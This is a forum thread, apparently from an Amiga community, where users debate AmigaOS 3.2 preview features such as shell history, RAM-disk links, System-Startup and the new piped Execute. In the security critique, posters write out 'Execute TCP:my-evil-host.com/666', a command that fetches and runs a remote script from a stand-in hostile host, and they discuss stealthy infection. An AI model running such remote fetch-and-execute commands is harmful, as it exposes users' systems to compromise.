Os 3.2 development preview

[kolla]

What is "History"?

Just printout of command history... will there be shortcuts for searching in command history (ala bash ctrl+r - not that I use bash, zsh in vi mode here)?

One can hope path history will also come, akin to
http://aminet.net/package/util/cli/HistoryCD

[kolla]

Can you spot it?

It may look like tab completion is there, <tab tab> output commands starting with A?

[kolla]

Yes, certainly, the old CON: keys keep working, ^r searches the history upwards...

You are perhaps confusing "old CON:" with your own VNC: - "old CON:" (con-handler 40.2) certainly does nothing usefull with ^r other than "bell"

[kolla]

Will this allow the use of environment variables in the Workbench title? That would be a nice touch if implemented.

Indeed. I'm using a copperlisting on the Minimig screen title bar to give it a light gradient green hue when it is online, and red when it is offline, but it leaks RAM and an indictor in titlebar would be "cleaner" (though a heck less awesome).

I suggest a double click in the clock portion of the titlebar to open the alarm settings.

I have zero use for alarm clock, and would prefer a calendar... today I just use http://aminet.net/package/util/time/BarClock22

There is lots of "simple stuff" that would be great to have official solution to:
* screen menu, window menu when left-clicking screen/window depth gadgets
* several more commands could benefit from LFORMAT - C:Date, C:Info, C:Assign
* C:List should have more love, in particular I miss a way of listing a given drawer without listing its content - akin to *ix "ls -ld"
* there should be a C:Dismount or similar that handles both volume: and device: (OS4 has this, iirc)
* C:Date is messed up locale wise, as it requires "localized" input, so it is tricky to script... what commands use local shell variable $language anyways, if not even C:Date does??
* C:Date should be able to set system time from the timestamp of a reference file
* C:SetDate should also be able to use a reference file when "touching" other files
* System time should care about Locale timezone setting, allowing RTC to run at UTC (yes, I am fully aware of SetDST and other third party tools)
* It should be settled once and for all where system time is taken from when booting from system without RTC -  and this "somewhere" should be easily editable with a system tool, without needing to format the file system - "SetDate DH0:"
* The entire Palette prefs would be better off replaced with something akin to FullPalette
* Workbench prefs should implement "Ghostbusters" and allow devices to be visible "only when validated"
* Official C:RequestString instead of the myriads of incompatible variants that exists today.

In the long run...
* An official public screen management tool akin to MUI PSI, which would also used by Workbench, and WBPattern should merge into this.
* System time should survive warm-boots - there exist a tool for this (http://aminet.net/package/util/time/TimeKeeper), which updates a timestamp to a memory segment that will survive warm-boots, and then set system time from this timestamp after boot. It would be better if a "timekeeper" was built in, maybe as a rom module, or some other boot resident measure.
* Another tool with functionality that would be better off built in - http://aminet.net/package/util/boot/bootctrl - also installs itself resident and lets you "configure" early-startup from CLI, as if you had entered it, selected boot device, disabled devices etc)
* Fonts are either "Workbench Icon Text", "System Default Text" or "Screen Text" - the latter two are less obvious, and there should be more "fine grained" settings possible - I suggest "Icon Text" (wb incons, docks etc), "Console Text" (fixed width, CON:, RAW: etc), "Screen Title Text", "Window Title Text" and "Program Text" (Prefs programs, requesters, whatever that today is using "Screen Text" aside from Screen Titles and Window Titles).
* Rethink the system prefs - make it easy to adjust settings through other means than through the SYS:Prefs/ GUI programs, export/import prefs as text, maybe arexx interface to IPrefs...

[kolla]

That's right. The shell has tab expansion. And I mean exactly that: It's the shell, not the console, that does it.

About time - probably the most sought after feature for Amiga Shell ever.

[kolla]

A few comments regarding the screenshot...
* Soft-link from RAM:Env to ENVARC: - how clever is that? Will it not just result in all "Use" acting as "Save"? And how is that different from "Assign ENV: ENVARC:"? (I prefer env-handler myself)
* All those ">NIL:" on Assign are rather redundant, and hide error messages on "broken systems" - a successful Assign is quiet.
* Is L:System-Startup a text file with paths to all the modules you wish to load?
* Is AssignWedge now "official"? If so, why not make it redundant?
* netprt.device - interesting... official? If so, what other "IPv4 aware" components are there in the OS?
* I never grasped why some commands are referred to with full path, and some not, in Startup-Sequence... "C:Mount", but just "BindDrivers"
* Isn't it great how one can just throw programs into DEVS:Monitors, and they will be executed during startup? I think this part perhaps should be done a little bit more robust.
* " | Execute", while handy (and so trendy, in these times of "cloud computing" and "curl | sh") , may also open a can of worms. It will now be possible to do funny things like "Execute < TCP:my-evil-host.com/666" (maybe even without redirection?) if TCP: is mounted.... exciting!

[kolla]

That is *NOT* a soft link. Note that there is no "SOFT" argument.

I did, but with RAM: and ENVARC: being on different devices, and a "FORCE" being used, one could only assume that this is a soft-link. And in a way it is.

Actually, it is a new feature you have found. It is an "external link", a new type of link category the RAM-disk supports. Essentially, it means the following: As soon as a program accesses ENV:x (or some sub-directory), the RAM-disk dynamically resolves the "external link" by pulling in the file from the link target. If you want to say so, this is "copy on access". It does not require a specialized handler for that, RAM: can do it itself.

Meh - so instead of using a dedicated handler that can do one thing and do it well, you have now lumped this into ram-handler that already have enough of things it doesn't do all too well... and couple it with another thing that never really worked so well with AmigaDOS - links. Bravo. What will "copy RAM:EN? RAM:test all clone" do now? What will "copy RAM:EN? disk:backup/ all clone" do? Will C:List show them in a new way? Is C:Copy fixed to handle this new link type too? It already struggles with regular soft links (as does C:Delete and others, you cannot delete a soft-link that points to a target that doesn't exist - for example) - Are you sure this is really a good idea?

Nope. It's a new system component. A quite interesting one that has been factored out of the dos.library and that is approximately the equivalent of the "unix init process". It is responsible for mounting devices and starting the initial shell. And also for something new, namely replacing ROM components without a reboot. Essentially, everything "from intuition upwards" can be replaced by a corresponding module on disk, provided its version is larger than the disk version. This means that in case we need to update some of them, we just ship the file. Actually, I hope that if we get a 3.2 ROM, it will be the last ROM that requires shipping as a lot of its contents can now be exchanged by System-startup. As said, no reboot necessary.

Obvious question that come up...
- will this work on plain 3.0/3.1 kickstarts? It wold be a major plus, IMO, if it does, so noone need to buy any new ROM, and can continue to use old ROMs when booting to floppy etc.
- will modules that have been loaded by System-startup survive reboots as if they were loaded with LoadModule, and hence be in place immediately next time one boot without startup-sequence?

* Is AssignWedge now "official"? If so, why not make it redundant?

It is a new optional system component. dos.library provides a "hook entry" that is populated by this component. So, this is no longer a patch all over the dos.library, it is just a single slot that is called whenever dos cannot find a handler. This is by Chris Euler who kindfully provided this new component.

Cool, so now anyone can write system clean "AssignWedge" clones using whatever GUI toolkit they like, or plug it to an event daemon that can have predefined actions and whatever...  nice.

* Isn't it great how one can just throw programs into DEVS:Monitors, and they will be executed during startup? I think this part perhaps should be done a little bit more robust.

That is how it is also done in 3.1. Everything you put there is executed during startup. Except that we don't need a temporary file for it anymore.

I know - I never liked it, it clutters the startup-sequence and does zero validation of the "monitor drivers" - I find this messy.

Well, if you want a secure system, AmigaOs is probably not exactly your Os in first place.

I am perfectly aware of this, I am much more likely to exploit this feature than to be a victim of it - just saying

And whether you type "Execute < TCP:my-evil-host.com/666" or "Execute TCP:my-evil-host.com/666" does not make a difference security-wise. However, it saves the shell from creating some temporary in T: and then execute this. It can directly go through the pipe.

Not only that - it saves a "hacker" from having to go through steps of downloading a file (type tcp:whatever/port to t:file) and then execute that file, now it can all be done in just one command. I am looking forward to see how this alters the attack angle for the Amiga Web Browsers (some of which allow executing of system programs from within HTML).

Does the new Execute wait for EOF, or does it execute commands after each EOL?

[kolla]

Yes, it would. ReAction is that path.

It is your choice! 3.2 will have both.....

What do you mean with this? Both what? Reaction and... GadTools? Or are you saying Reaction will be there, and that for any program using Reaction classes, there will be an equivalent that doesn't - and vice versa? If so, that sounds like maintenance overhead. On the other hand, if it means the GUI components of the OS programs are decoupled from their functionality, and that for every OS program there will be both a Reaction GUI and a plain GadTools GUI, and the possibility for anyone to write a GUI for it in MUI, BGUI, GTLayout or whatever, even a TUI and/or ARexx interface for interaction... then that would be very cool.

[kolla]

for the entire system except RAM: it looks like creating a hard link, and like a regular directory afterwards.

So does it follow the assign (ie always point at ENVARC:) or does it resolve to whatever ENVARC: is assigned to at the time the link is created?
And if what it points at is a file, or a directory that later is replaced with a file? Will it still just look like a directory?

The main motivation was to remove duplicate code.

Of course - but surely there are better ways to share code between components?

What will "copy RAM:EN? RAM:test all clone" do now? What will "copy RAM:EN? disk:backup/ all clone" do?

The same it would do on all the HappyEnv variants.

You cannot really do this on HappyEnv variants, as they create a dedicated device env:

Will C:List show them in a new way? Is C:Copy fixed to handle this new link type too?

Copy doesn't know anything about this being a link. It looks like an ordinary directory from the outside. List doesn't know anything about this being a link. It is just a regular directory for everything outside of RAM:

So is there _any way_ at all to _see_ after the creation of the link, that is is not a regular directory made with Makedir?
If not - how do you know if it is a link or a directory?

It already struggles with regular soft links

No, it doesn't. It just creates a softlink to the original link target in the target directory of the copy operation

Not if the target that is pointed at doesn't exist, from what I recall, and same for Delete.

Code: [Select]

echo hah to sys:myfile
makelinke ram:test to sys:myfile force
rename sys:myfile sys:myfile2
copy ram:test to ram:test2
delete ram:test ram:test2
type sys:myfile2

The above should in my opinion work just fine without any errors - does it?

Yes, I'm really sure this is a good idea. I'm really sure that avoiding code duplications is a good idea.

Maybe we have different understanding of "code duplication" - it should be quite possible for two handlers to share code, and still have different functionality - it should be quite possible to have env-handler that uses code share from ram-handler, or at least two devices, ENV: and RAM:, that both use the same ram-handler, yet have different functionality. I really just find the "new type of magic link that only works in RAM:" rather... counter intuitive.  ESPECIALLY so if there is no way to tell apart a link and a directory in RAM: using List.

Why would it? No, of course not. This is a 3.2 system component.
This is not a "make my modules resident" component. It is a "replace ROM components by RAM components". This has nothing, absolutely nothing to do with LoadModule.

So System-Startup will be in the 3.2 kickstart? I ask, of course, because in the screenshot you load it with LoadModule...

I know - I never liked it, it clutters the startup-sequence and does zero validation of the "monitor drivers" - I find this messy.

Then don't use it. I have DEVS:Monitors/Startup, and only load those in this directory. But this is not how the standard system was setup, so I left it as it always was.

I don't use it, and by now, I reckon most "power users" have already replaced it with LoadMonDrivers, BindMonitors or similar program.
I would prefer something akin to AddDadatype or AHI's AddAudioModes, that would be capable of more than just "run whatever is there". But that is just me, I get it.

If someone from outside can execute commands such as EXECUTE on your system, then EXECUTE is your least problem. FORMAT is a problem. COPY is a problem. DELETE is a problem. Actually, the problem is the whole AmigaOs system.

Of course, now tell that to all the Amiga users in the world. The benefit of Execute, is that it can now take a string of commands from the outside, and just do them. FORMAT and DELETE are destructive and will most likely be discovered quickly, COPY is not so useful... but if you trigger someone to regularly execute a script from an online resource, you can be stealthy and really infect a system without the owner even knowing about it.

Does the new Execute wait for EOF, or does it execute commands after each EOL?

Execute never executed anything to begin with, so this question does not apply if you take it literally. Execute is only an input-redirection of the shell. And no, the shell scripting rules did not change - what for?

Tea spoon mode again? I take your answer to mean that "action is taken" at each EOL, and when conditions (If, EndIf) are solved.

[kolla]

It follows the usual rules hardlinks follow. A lock is created on the target, and the external link goes to this lock (or rather, a duplicate of it). The RAM will resolve an external object to whatever that object is at the time of the resolution.

So the target is locked, and cannot be deleted, only renamed. Similar to as if you make an assign point to a file.

Of course - but surely there are better ways to share code between components?

As in using the entire code of RAM twice for two handlers? In which world does that make sense?

What would prevent two handlers from sharing code in RAM? Isn't this what Amiga OS is all about?

So is there _any way_ at all to _see_ after the creation of the link, that is is not a regular directory made with Makedir?

No, there is not.

If not - how do you know if it is a link or a directory?

You don't.

Ambiguity rules, I am all for this - users should not need to know, and I imagine there will be creative ways to ways to exploit this feature.

What's so different between a binary that loads everything in a directory, and a short command sequence that does the same? After all, there is no magic "hello, I'm a monitor driver" indicator in an executable. It is an executable like any other executable, so "LoadMonDrivers" is just a way of hiding the details - in the end, it cannot do anything different.

Exactly, that's what I'm saying - isn't it lovely how you can throw just about anything into DEVS:Monitors and it will be run on boot?

Of course, now tell that to all the Amiga users in the world. The benefit of Execute, is that it can now take a string of commands from the outside, and just do them. FORMAT and DELETE are destructive and will most likely be discovered quickly, COPY is not so useful... but if you trigger someone to regularly execute a script from an online resource, you can be stealthy and really infect a system without the owner even knowing about it.

Sorry, I don't get your point. Oh, yes, I do, but that's the old Kolla finding reasons for complaining.

I am not complaining - I see good potential with this, as I say, I look forward to exploring new possibilities.

In case you didn't know, you can *already* execute a script from a remote location. The syntax looks different. How scary.

In one clear command? Please, do tell

[kolla]

You just provided one. "Execute TCP:remote_location". Just without the "<". How scary is that?

Well, duh - that does not work with ordinary "old" Execute.

[kolla]

Stick with GadTools/BOOPSI.

You still haven't grasped that Reaction is little more than a bundle of BOOPSI classes, and exactly what you say you want?

[kolla]

Well, the choice is simple in the transitional OS release between the two GUI Toolkits.

Why limit it to two - everyone got preferences, and it should be easy to "plug in" GUIs from any Toolkit.

After that, we will surely need to find a comfortable maintenance strategy that either implies dropping support for one GUI Toolkit or creating a common code base upon which we could easily maintain both simultaneously (which is certainly not the easiest path to follow).

It could be, if it was implemented differently. Remember Miami? It had ClassAct/Reaction GUI, it had MUI GUI, it had GadTools GUI (gtlayout), and it was also quite possible to run it without any GUI. The way to do this is to abstract the GUI away from the actual functionality of the program, and instead create clean and simple to use APIs that GUI writers can use to make a GUI using whatever toolkit they wish.

[kolla]

I think the GUI should be usable with ROM-only toolkits.

If content of SYS:Classes was moved to SYS:Libs, I bet you wouldn't even know...

[kolla]

The Workbench menus can be configured dynamically via arexx, there is no "configuration" of them.